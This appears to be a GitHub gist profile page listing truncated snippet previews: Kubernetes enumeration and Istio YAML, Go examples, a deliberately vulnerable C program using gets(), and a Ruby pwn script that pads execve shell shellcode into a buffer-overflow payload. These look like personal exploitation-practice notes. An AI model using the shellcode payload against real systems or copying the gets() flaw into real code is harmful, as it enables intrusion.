Skip to content

Instantly share code, notes, and snippets.

View hnts's full-sized avatar

hnts

  • CyberAgent, Inc.
  • Tokyo, Japan
View GitHub Profile
@hnts
hnts / enumerate.sh
Last active December 20, 2021 10:22
enumerate
#!/bin/bash
echo "[+] Create pods for enumerating host network..."
(
kubectl create ns enumerate
kubectl label ns enumerate istio-injection=enabled
for i in {1..15} ; do
cat << EOS | kubectl apply -f -
apiVersion: v1
kind: Pod
@hnts
hnts / ns.yaml
Created December 19, 2021 16:00
istio-injection.yaml
apiVersion: v1
kind: Namespace
metadata:
name: test
labels:
istio-injection: enabled
apiVersion: v1
kind: Pod
metadata:
name: enumerate
spec:
containers:
- image: nginx
name: nginx
imagePullPolicy: IfNotPresent
livenessProbe:
@hnts
hnts / affinity.yaml
Created November 23, 2020 03:25
Node Affinity
spec:
template:
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution :
nodeSelectorTerms:
- matchExpressions:
- key: beta.kubernetes.io/arch
operator: In
# encoding: ASCII-8BIT
require 'pwn'
size = ARGV[0].to_i
buf_addr = ARGV[1].to_i(16)
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
payload = shellcode
payload += 'A' * (size - payload.size)
payload += 'A' * (8 - payload.size%8)
@hnts
hnts / bof.c
Last active September 27, 2020 05:11
// http://inaz2.hatenablog.com/entry/2014/07/04/001851
#include <stdio.h>
int main()
{
char buf[100];
setlinebuf(stdout);
printf("buf = %p\n", buf);
gets(buf);
puts(buf);
@hnts
hnts / user2.go
Last active September 23, 2020 13:43
package main
import (
"fmt"
"os"
)
func main() {
fmt.Printf("User ID: %d\n", os.Getuid())
fmt.Printf("Group ID: %d\n", os.Getgid())
@hnts
hnts / user.go
Last active September 27, 2020 04:57
Output UserID and Effective User ID
package main
import (
"fmt"
"os"
)
func main() {
fmt.Printf("User ID: %d\n", os.Getuid()) // 実ユーザID
fmt.Printf("Group ID: %d\n", os.Getgid())
@hnts
hnts / inline2.go
Created August 4, 2020 09:40
Use pragma
package inline
import "fmt"
//go:noinline
func InlineExpansionFunc() {
fmt.Println("Inline Expansion")
}
@hnts
hnts / inline2.go
Created August 4, 2020 09:39
Use pragma
package inline
import "fmt"
//go:noinline
func InlineExpansionFunc() {
fmt.Println("Inline Expansion")
}